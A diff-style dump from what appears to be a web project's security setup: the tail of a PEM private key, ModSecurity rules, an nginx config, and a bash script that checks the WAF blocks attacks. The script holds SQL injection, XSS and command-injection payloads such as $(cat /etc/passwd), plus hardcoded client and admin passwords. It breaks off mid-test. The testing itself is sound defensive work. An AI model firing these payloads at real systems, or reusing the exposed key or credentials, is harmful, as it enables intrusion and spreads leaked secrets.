ePfv0RledHKOEM35zvhvVTpyF4LfvnMyu/E+hJp2kIptPZ5DEsvXT3CsLCNGOWmt
|
||||
HZlvVihQ0dtUp1FjDQsiwB8zSErQkZDTv8L0OvBvVyFqhhP/KReZi2pCTsBSYcYU
|
||||
MGmZanqg1mLCqVDVPnaquCcuo39DCfETXNS4OFK4qQKBgQD8tsmwXtU0ai4ryVne
|
||||
SOOJiCQFsGfZgxuSJ7XPWj8BnLSs0pi3ddEdJQvkj7z43iZ4AaW2VX9abQkZhlNv
|
||||
v1Y80+MBTwCSM6CZLzCYWMnzRNY1hUR6bwQa/x5JyXU0sbx3B/GCH9hvhjWn9Dit
|
||||
uphoPgC8ryKy26de7E5FKIfzFQKBgQDk+S7oUoQFXZ7YAIIXXVjp4nQVdU8zb7nW
|
||||
B+yxyE5L+q6afgi2w9Jmm7DrQAg5GuY+3xlhICol/oxLb6nWkX5C2FTYTFaqSi5B
|
||||
rZVqD6D/WGosNzwbcgai4TjmiJ81ssVwMuizQLksOPexuVYDUikofaWsF1G/E5af
|
||||
rGRJbuACWQKBgQCwMNCVgsiq7oyaQpvBepgJPz2+Kat93wbN85myo3ziJttg0sNe
|
||||
xWmyJC4SgJSD/n5blOpwIVPVO8foX9q0QnZhmmjedLI1PIFvy5LZ5K2ISin+zpdb
|
||||
tSLrn4sCbs6kmnaHlqYuzv0bZDrsij0qArpXk0L4SjKq+LHMYHyBgyylsQKBgBHI
|
||||
kK4Wio5oIQghsfjilR9FKULpY4dZLBPFdcqxBfO8uobhNwgK2XKCsRD0Xi8hObS0
|
||||
WyJB/0QIKxlIyOYTUr0aVCygcTK0pDcRpkMgh56NXWGlwJNZHc7Uszikb8kZ41+9
|
||||
dHlHk5otqn8xJ88GOJAeghmFjiHLAa3RE9DoPZmxAoGAC2sRi0M7pr6TV7Pz1f8S
|
||||
DUy+iout42FNKCt00J2C7TxoTsKsWH4UKL0mqqanOr7vb0Wkow6nH7xT8u4DUGsA
|
||||
oXfJqcGShNaG/XYFo5TaVC4k7rZY87+P12429J42uXVtGgjCR3lE53CdS3bY0tl5
|
||||
OG0lgtOwXaXbU53BuLCbndU=
|
||||
-----END PRIVATE KEY-----
|
||||
@@ -0,0 +1,59 @@
|
||||
SecRule IP:BANNED "@eq 1" \
|
||||
"id:100000,phase:1,deny,status:403,log,\
|
||||
msg:'IP is banned'"
|
||||
|
||||
SecRule IP:REPUTATION_SCORE "@ge 100" \
|
||||
"id:100099,phase:1,deny,status:403,log,\
|
||||
msg:'Critical reputation score',\
|
||||
setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'"
|
||||
|
||||
SecRule TX:SQL_INJECTION_SCORE "@ge 5" \
|
||||
"id:100001,phase:2,deny,status:403,log,\
|
||||
msg:'SQL Injection detected',\
|
||||
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
|
||||
|
||||
SecRule TX:XSS_SCORE "@ge 5" \
|
||||
"id:100010,phase:2,deny,status:403,log,\
|
||||
msg:'XSS detected',\
|
||||
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
|
||||
|
||||
SecRule TX:RCE_SCORE "@ge 5" \
|
||||
"id:100020,phase:2,deny,status:403,log,\
|
||||
msg:'RCE detected',\
|
||||
setvar:'ip.banned=1',expirevar:'ip.banned=259200'"
|
||||
|
||||
SecRule TX:LFI_SCORE "@ge 5" \
|
||||
"id:100030,phase:2,deny,status:403,log,\
|
||||
msg:'LFI detected',\
|
||||
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
|
||||
|
||||
SecRule TX:INBOUND_ANOMALY_SCORE "@ge 20" \
|
||||
"id:100060,phase:2,deny,status:403,log,\
|
||||
msg:'Critical anomaly score',\
|
||||
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
|
||||
|
||||
SecRule REQUEST_URI "@streq /api/v1/panier/remove" \
|
||||
"id:399010,phase:1,nolog,pass,\
|
||||
ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350"
|
||||
|
||||
SecRule REQUEST_URI "@streq /api/v1/panier/clear" \
|
||||
"id:399011,phase:1,nolog,pass,\
|
||||
ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350"
|
||||
|
||||
SecRule REQUEST_URI "@streq /api/v2/admin/protected/products" \
|
||||
"id:399001,phase:2,nolog,pass,\
|
||||
ctl:ruleRemoveById=932235"
|
||||
|
||||
SecAction \
|
||||
"id:400161,phase:1,nolog,pass,\
|
||||
setvar:'ip.request_window_1sec=+1',\
|
||||
expirevar:'ip.request_window_1sec=1'"
|
||||
|
||||
SecRule IP:REQUEST_WINDOW_1SEC "@gt 20" \
|
||||
"id:400160,phase:1,deny,status:429,log,\
|
||||
msg:'Too many requests'"
|
||||
|
||||
SecRule IP:REPUTATION_SCORE "@ge 100" \
|
||||
"id:409999,phase:1,deny,status:403,log,\
|
||||
msg:'Critical reputation score',\
|
||||
setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'"
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,101 @@
|
||||
# =========================================================
|
||||
# Request ID for correlation
|
||||
# =========================================================
|
||||
map $http_x_request_id $req_id {
|
||||
default $http_x_request_id;
|
||||
"" $request_id;
|
||||
}
|
||||
|
||||
# =========================================================
|
||||
# Upstream backend
|
||||
# =========================================================
|
||||
upstream backend {
|
||||
server backend:8080 max_fails=3 fail_timeout=30s;
|
||||
keepalive 32;
|
||||
keepalive_requests 100;
|
||||
keepalive_timeout 60s;
|
||||
}
|
||||
|
||||
# =========================================================
|
||||
# HTTP Server (MAIN)
|
||||
# =========================================================
|
||||
# Supprime le premier server block et garde seulement :
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name _;
|
||||
|
||||
root /usr/share/nginx/html;
|
||||
index index.html;
|
||||
client_max_body_size 10M;
|
||||
|
||||
modsecurity on;
|
||||
modsecurity_rules_file /etc/nginx/modsec/custom-rules.conf;
|
||||
location /api/ {
|
||||
limit_except GET POST PUT PATCH DELETE OPTIONS { deny all; }
|
||||
|
||||
if ($request_method = 'OPTIONS') {
|
||||
add_header 'Access-Control-Allow-Origin' "$http_origin" always;
|
||||
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, PATCH, DELETE, OPTIONS' always;
|
||||
add_header 'Access-Control-Allow-Headers' 'Authorization, Content-Type, X-Request-ID' always;
|
||||
add_header 'Access-Control-Allow-Credentials' 'true' always;
|
||||
add_header 'Access-Control-Max-Age' 86400 always;
|
||||
add_header 'Content-Length' 0;
|
||||
add_header 'Content-Type' 'text/plain charset=UTF-8';
|
||||
return 204;
|
||||
}
|
||||
|
||||
proxy_pass http://backend;
|
||||
proxy_http_version 1.1;
|
||||
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme; # ✅ Changé
|
||||
proxy_set_header X-Request-ID $req_id;
|
||||
proxy_set_header Connection "";
|
||||
|
||||
proxy_connect_timeout 60s;
|
||||
proxy_send_timeout 60s;
|
||||
proxy_read_timeout 60s;
|
||||
}
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ /index.html;
|
||||
add_header Cache-Control "no-cache, no-store, must-revalidate" always;
|
||||
add_header Pragma "no-cache" always;
|
||||
add_header Expires "0" always;
|
||||
}
|
||||
|
||||
location ~* \.(css|js|jpg|jpeg|png|gif|svg|ico|woff2?|ttf|eot)$ {
|
||||
expires 1y;
|
||||
add_header Cache-Control "public, immutable";
|
||||
access_log off;
|
||||
}
|
||||
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
|
||||
add_header Content-Security-Policy "
|
||||
default-src 'self';
|
||||
script-src 'self' 'unsafe-inline' 'unsafe-eval';
|
||||
style-src 'self' 'unsafe-inline';
|
||||
img-src 'self' data: https:;
|
||||
font-src 'self' data:;
|
||||
connect-src 'self' https://api.tomtom.com;
|
||||
" always;
|
||||
|
||||
location ~ /\. {
|
||||
deny all;
|
||||
access_log off;
|
||||
log_not_found off;
|
||||
}
|
||||
|
||||
location ~* (\.env|\.git|package\.json|package-lock\.json|yarn\.lock|Dockerfile|docker-compose\.yml)$ {
|
||||
deny all;
|
||||
access_log off;
|
||||
log_not_found off;
|
||||
}
|
||||
}
|
||||
Executable
+610
@@ -0,0 +1,610 @@
|
||||
#!/bin/bash
|
||||
|
||||
# =============================================================================
|
||||
# Script de Test - ModSecurity Rules (XSS, SQL Injection, RCE, LFI, RFI)
|
||||
# =============================================================================
|
||||
# Description: Teste les règles WAF pour XSS, SQL, RCE, LFI et RFI
|
||||
# Usage: ./test-rules.sh
|
||||
# =============================================================================
|
||||
|
||||
# Couleurs pour l'affichage
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
PURPLE='\033[0;35m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m' # No Color
|
||||
BOLD='\033[1m'
|
||||
|
||||
# Configuration
|
||||
API_BASE_URL="http://172.20.167.237"
|
||||
|
||||
# Credentials Client
|
||||
CLIENT_USERNAME="salut"
|
||||
CLIENT_PASSWORD="salut1234_"
|
||||
CLIENT_TOKEN=""
|
||||
|
||||
# Credentials Admin
|
||||
ADMIN_USERNAME="admin_1768505094"
|
||||
ADMIN_PASSWORD="AdminPass123!"
|
||||
ADMIN_TOKEN=""
|
||||
|
||||
TOTAL_TESTS=0
|
||||
PASSED_TESTS=0
|
||||
FAILED_TESTS=0
|
||||
LOG_FILE="modsec_test_$(date +%Y%m%d_%H%M%S).log"
|
||||
|
||||
# =============================================================================
|
||||
# Fonctions Utilitaires
|
||||
# =============================================================================
|
||||
|
||||
print_header() {
|
||||
echo -e "\n${BOLD}${CYAN}========================================${NC}"
|
||||
echo -e "${BOLD}${CYAN}$1${NC}"
|
||||
echo -e "${BOLD}${CYAN}========================================${NC}\n"
|
||||
}
|
||||
|
||||
print_section() {
|
||||
echo -e "\n${BOLD}${BLUE}>>> $1${NC}\n"
|
||||
}
|
||||
|
||||
print_test() {
|
||||
echo -e "${YELLOW}[TEST] $1${NC}"
|
||||
}
|
||||
|
||||
print_success() {
|
||||
((PASSED_TESTS++))
|
||||
((TOTAL_TESTS++))
|
||||
echo -e "${GREEN}✓ PASS${NC} - $1" | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
print_fail() {
|
||||
((FAILED_TESTS++))
|
||||
((TOTAL_TESTS++))
|
||||
echo -e "${RED}✗ FAIL${NC} - $1" | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
print_info() {
|
||||
echo -e "${CYAN}ℹ INFO${NC} - $1"
|
||||
}
|
||||
|
||||
print_warning() {
|
||||
echo -e "${YELLOW}⚠ WARNING${NC} - $1"
|
||||
}
|
||||
|
||||
print_response() {
|
||||
echo -e "${PURPLE}📄 Response:${NC} $1"
|
||||
}
|
||||
|
||||
# Fonction pour effectuer une requête HTTP avec token client
|
||||
http_test_client() {
|
||||
local method=$1
|
||||
local endpoint=$2
|
||||
local data=$3
|
||||
local expected_code=$4
|
||||
local description=$5
|
||||
local extra_headers=$6
|
||||
|
||||
print_test "$description"
|
||||
|
||||
if [ -z "$data" ]; then
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $CLIENT_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
else
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $CLIENT_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
||||
-d "$data" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
fi
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq "$expected_code" ]; then
|
||||
print_success "$description (HTTP $http_code)"
|
||||
else
|
||||
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||
print_response "$body"
|
||||
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||
echo "Response: $body" >> "$LOG_FILE"
|
||||
fi
|
||||
|
||||
sleep 0.5
|
||||
}
|
||||
|
||||
# Fonction pour effectuer une requête HTTP avec token admin
|
||||
http_test_admin() {
|
||||
local method=$1
|
||||
local endpoint=$2
|
||||
local data=$3
|
||||
local expected_code=$4
|
||||
local description=$5
|
||||
local extra_headers=$6
|
||||
|
||||
print_test "$description"
|
||||
|
||||
if [ -z "$data" ]; then
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $ADMIN_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
else
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $ADMIN_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
||||
-d "$data" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
fi
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq "$expected_code" ]; then
|
||||
print_success "$description (HTTP $http_code)"
|
||||
echo "$body"
|
||||
else
|
||||
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||
print_response "$body"
|
||||
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||
echo "Response: $body" >> "$LOG_FILE"
|
||||
fi
|
||||
|
||||
sleep 0.5
|
||||
}
|
||||
|
||||
# Fonction pour effectuer une requête HTTP sans authentification
|
||||
http_test_no_auth() {
|
||||
local method=$1
|
||||
local endpoint=$2
|
||||
local data=$3
|
||||
local expected_code=$4
|
||||
local description=$5
|
||||
|
||||
print_test "$description"
|
||||
|
||||
if [ -z "$data" ]; then
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Content-Type: application/json" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
else
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "$data" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
fi
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq "$expected_code" ]; then
|
||||
print_success "$description (HTTP $http_code)"
|
||||
else
|
||||
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||
print_response "$body"
|
||||
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||
echo "Response: $body" >> "$LOG_FILE"
|
||||
fi
|
||||
|
||||
sleep 0.5
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Authentification
|
||||
# =============================================================================
|
||||
|
||||
authenticate() {
|
||||
print_header "AUTHENTIFICATION"
|
||||
|
||||
# ==================== CLIENT LOGIN ====================
|
||||
print_section "1. Login Client"
|
||||
response=$(curl -s -w "\n%{http_code}" -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"username\":\"$CLIENT_USERNAME\",\"password\":\"$CLIENT_PASSWORD\"}" \
|
||||
"${API_BASE_URL}/api/v1/auth/login")
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq 200 ]; then
|
||||
CLIENT_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
|
||||
if [ -n "$CLIENT_TOKEN" ]; then
|
||||
print_success "Login Client réussi - Token obtenu"
|
||||
print_info "Token Client: ${CLIENT_TOKEN:0:50}..."
|
||||
else
|
||||
print_fail "Login Client réussi mais token non trouvé"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
print_fail "Échec du login Client (HTTP $http_code)"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# ==================== ADMIN LOGIN ====================
|
||||
print_section "2. Login Admin"
|
||||
response=$(curl -s -w "\n%{http_code}" -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"username\":\"$ADMIN_USERNAME\",\"password\":\"$ADMIN_PASSWORD\"}" \
|
||||
"${API_BASE_URL}/api/v2/admin/auth/login")
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq 200 ]; then
|
||||
ADMIN_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
|
||||
if [ -n "$ADMIN_TOKEN" ]; then
|
||||
print_success "Login Admin réussi - Token obtenu"
|
||||
print_info "Token Admin: ${ADMIN_TOKEN:0:50}..."
|
||||
else
|
||||
print_fail "Login Admin réussi mais token non trouvé"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
print_fail "Échec du login Admin (HTTP $http_code)"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Tests SQL Injection
|
||||
# =============================================================================
|
||||
|
||||
test_sql_injection() {
|
||||
print_header "TESTS SQL INJECTION"
|
||||
|
||||
print_section "1. SQL Injection - Login"
|
||||
|
||||
# Test 1: SQL Injection classique dans login client
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
|
||||
403 "SQLi - Login Client OR 1=1"
|
||||
|
||||
# Test 2: SQL Injection dans login admin
|
||||
http_test_no_auth "POST" "/api/v2/admin/auth/login" \
|
||||
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
|
||||
403 "SQLi - Login Admin OR 1=1"
|
||||
|
||||
# Test 3: SQL Injection avec UNION
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' UNION SELECT * FROM users--","password":"test"}' \
|
||||
403 "SQLi - UNION SELECT"
|
||||
|
||||
# Test 4: SQL Injection avec DROP TABLE
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\''; DROP TABLE users;--","password":"test"}' \
|
||||
403 "SQLi - DROP TABLE"
|
||||
|
||||
# Test 5: SQL Injection avec commentaire
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\''--","password":"test"}' \
|
||||
403 "SQLi - Commentaire SQL --"
|
||||
|
||||
print_section "2. SQL Injection - Panier"
|
||||
|
||||
# Test 6: SQL Injection dans name_product
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"Pizza'\'' OR 1=1--","category":"pizza","quantity":1}' \
|
||||
403 "SQLi - Panier name_product"
|
||||
|
||||
# Test 7: SQL Injection dans category
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"Pizza","category":"pizza'\'' OR '\''1'\''='\''1","quantity":1}' \
|
||||
403 "SQLi - Panier category"
|
||||
|
||||
print_section "3. SQL Injection - Admin"
|
||||
|
||||
# Test 8: SQL Injection dans username pénalité
|
||||
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
|
||||
"{\"username\":\"admin' OR '1'='1\",\"amount\":50.0,\"reason\":\"Test\"}" \
|
||||
403 "SQLi - Username pénalité"
|
||||
|
||||
# Test 9: SQL Injection dans paramètres commandes
|
||||
http_test_admin "GET" "/api/v2/admin/protected/orders?status=pending' OR '1'='1" \
|
||||
"" \
|
||||
403 "SQLi - Paramètres commandes"
|
||||
|
||||
# Test 10: SQL Injection dans ID commande
|
||||
http_test_admin "POST" "/api/v2/admin/protected/orders/1' OR '1'='1/auto-assign" \
|
||||
"" \
|
||||
403 "SQLi - ID commande"
|
||||
|
||||
# Test 11: SQL Injection dans username livreur
|
||||
http_test_admin "GET" "/api/v2/admin/protected/delivery-persons/john' OR '1'='1/location" \
|
||||
"" \
|
||||
403 "SQLi - Username livreur"
|
||||
|
||||
print_section "4. SQL Injection - Commandes Client"
|
||||
|
||||
# Test 12: SQL Injection dans adresse checkout
|
||||
http_test_client "POST" "/api/v1/checkout" \
|
||||
'{"delivery_address":"1'\'' OR '\''1'\''='\''1"}' \
|
||||
403 "SQLi - Adresse checkout"
|
||||
|
||||
# Test 13: SQL Injection nom produit admin
|
||||
http_test_admin "POST" "/api/v2/admin/protected/products" \
|
||||
'{"nom":"Pizza'\'' OR '\''1'\''='\''1","category":"pizza","stock":10,"prix":12.99}' \
|
||||
403 "SQLi - Nom produit admin"
|
||||
|
||||
print_section "5. SQL Injection - Variantes avancées"
|
||||
|
||||
# Test 14: SQL Injection avec AND
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND '\''1'\''='\''1","password":"test"}' \
|
||||
403 "SQLi - AND condition"
|
||||
|
||||
# Test 15: SQL Injection avec encodage hex
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' OR 0x31=0x31--","password":"test"}' \
|
||||
403 "SQLi - Encodage hex"
|
||||
|
||||
# Test 16: SQL Injection avec SLEEP (Time-based)
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND SLEEP(5)--","password":"test"}' \
|
||||
403 "SQLi - Time-based SLEEP"
|
||||
|
||||
# Test 17: SQL Injection avec BENCHMARK
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND BENCHMARK(10000000,SHA1('\''test'\''))--","password":"test"}' \
|
||||
403 "SQLi - BENCHMARK"
|
||||
|
||||
# Test 18: SQL Injection avec sous-requête
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND (SELECT COUNT(*) FROM users)>0--","password":"test"}' \
|
||||
403 "SQLi - Sous-requête"
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Tests XSS (Cross-Site Scripting)
|
||||
# =============================================================================
|
||||
|
||||
test_xss() {
|
||||
print_header "TESTS XSS (CROSS-SITE SCRIPTING)"
|
||||
|
||||
print_section "1. XSS - Login"
|
||||
|
||||
# Test 1: XSS basique avec script tag
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<script>alert(1)</script>","password":"test"}' \
|
||||
403 "XSS - Script tag basique"
|
||||
|
||||
# Test 2: XSS avec event handler
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<img src=x onerror=alert(1)>","password":"test"}' \
|
||||
403 "XSS - Event handler onerror"
|
||||
|
||||
# Test 3: XSS avec SVG
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<svg onload=alert(1)>","password":"test"}' \
|
||||
403 "XSS - SVG onload"
|
||||
|
||||
print_section "2. XSS - Panier"
|
||||
|
||||
# Test 4: XSS dans name_product
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"<script>alert('\''XSS'\'')</script>","category":"pizza","quantity":1}' \
|
||||
403 "XSS - Panier name_product"
|
||||
|
||||
# Test 5: XSS dans category
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"Pizza","category":"<script>alert(1)</script>","quantity":1}' \
|
||||
403 "XSS - Panier category"
|
||||
|
||||
print_section "3. XSS - Admin"
|
||||
|
||||
# Test 6: XSS dans raison pénalité
|
||||
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
|
||||
"{\"username\":\"$CLIENT_USERNAME\",\"amount\":30.0,\"reason\":\"<script>alert('XSS')</script>\"}" \
|
||||
400 "XSS - Raison pénalité"
|
||||
|
||||
# Test 7: XSS dans paramètres commandes
|
||||
http_test_admin "GET" "/api/v2/admin/protected/orders?username=<script>alert(1)</script>" \
|
||||
"" \
|
||||
403 "XSS - Paramètres commandes"
|
||||
|
||||
# Test 8: XSS dans description produit
|
||||
http_test_admin "POST" "/api/v2/admin/protected/products" \
|
||||
'{"nom":"Pizza","category":"pizza","description":"<script>alert(1)</script>","stock":10,"prix":12.99}' \
|
||||
403 "XSS - Description produit"
|
||||
|
||||
print_section "4. XSS - Commandes Client"
|
||||
|
||||
# Test 9: XSS dans adresse checkout
|
||||
http_test_client "POST" "/api/v1/checkout" \
|
||||
'{"delivery_address":"<script>alert(1)</script>"}' \
|
||||
403 "XSS - Adresse checkout"
|
||||
|
||||
# Test 10: XSS dans commentaire approbation
|
||||
http_test_client "POST" "/api/v1/commands/1/approve" \
|
||||
'{"rating":5,"comment":"<script>alert(1)</script>"}' \
|
||||
403 "XSS - Commentaire approbation"
|
||||
|
||||
# Test 11: XSS dans raison annulation
|
||||
http_test_client "POST" "/api/v1/commands/1/cancel" \
|
||||
'{"reason":"<script>alert(1)</script>"}' \
|
||||
403 "XSS - Raison annulation"
|
||||
|
||||
print_section "5. XSS - Variantes avancées"
|
||||
|
||||
# Test 12: XSS avec iframe
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<iframe src=javascript:alert(1)>","password":"test"}' \
|
||||
403 "XSS - iframe javascript"
|
||||
|
||||
# Test 13: XSS avec body onload
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<body onload=alert(1)>","password":"test"}' \
|
||||
403 "XSS - body onload"
|
||||
|
||||
# Test 14: XSS avec input autofocus
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<input autofocus onfocus=alert(1)>","password":"test"}' \
|
||||
403 "XSS - input autofocus"
|
||||
|
||||
# Test 15: XSS avec marquee
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<marquee onstart=alert(1)>","password":"test"}' \
|
||||
403 "XSS - marquee onstart"
|
||||
|
||||
# Test 16: XSS avec details/summary
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<details open ontoggle=alert(1)>","password":"test"}' \
|
||||
403 "XSS - details ontoggle"
|
||||
|
||||
# Test 17: XSS avec javascript: protocol
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<a href=javascript:alert(1)>click</a>","password":"test"}' \
|
||||
403 "XSS - javascript protocol"
|
||||
|
||||
# Test 18: XSS avec data: URI
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<a href=data:text/html,<script>alert(1)</script>>click</a>","password":"test"}' \
|
||||
403 "XSS - data URI"
|
||||
|
||||
# Test 19: XSS encodé HTML
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<script>alert(1)</script>","password":"test"}' \
|
||||
403 "XSS - Encodage HTML entities"
|
||||
|
||||
# Test 20: XSS avec polyglotte
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"jaVasCript:/*-/*`/*\\`/*'\''/*\"/**/(/* */oNcLiCk=alert() )//","password":"test"}' \
|
||||
403 "XSS - Polyglotte"
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Tests RCE (Remote Code Execution)
|
||||
# =============================================================================
|
||||
|
||||
test_rce() {
|
||||
print_header "TESTS RCE (REMOTE CODE EXECUTION)"
|
||||
|
||||
print_section "1. RCE - Command Injection basique"
|
||||
|
||||
# Test 1: Command substitution avec $()
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(whoami)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Command substitution"
|
||||
|
||||
# Test 2: Command substitution avec backticks
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"`whoami`","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Command substitution backticks"
|
||||
|
||||
# Test 3: Pipe command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test|whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Pipe command"
|
||||
|
||||
# Test 4: Semicolon command chaining
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test;whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Semicolon chaining"
|
||||
|
||||
# Test 5: AND command chaining
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test&&whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - AND chaining"
|
||||
|
||||
# Test 6: OR command chaining
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test||whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - OR chaining"
|
||||
|
||||
print_section "2. RCE - Commandes système dangereuses"
|
||||
|
||||
# Test 7: cat /etc/passwd
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(cat /etc/passwd)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - cat /etc/passwd"
|
||||
|
||||
# Test 8: ls command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(ls -la)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - ls command"
|
||||
|
||||
# Test 9: wget command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
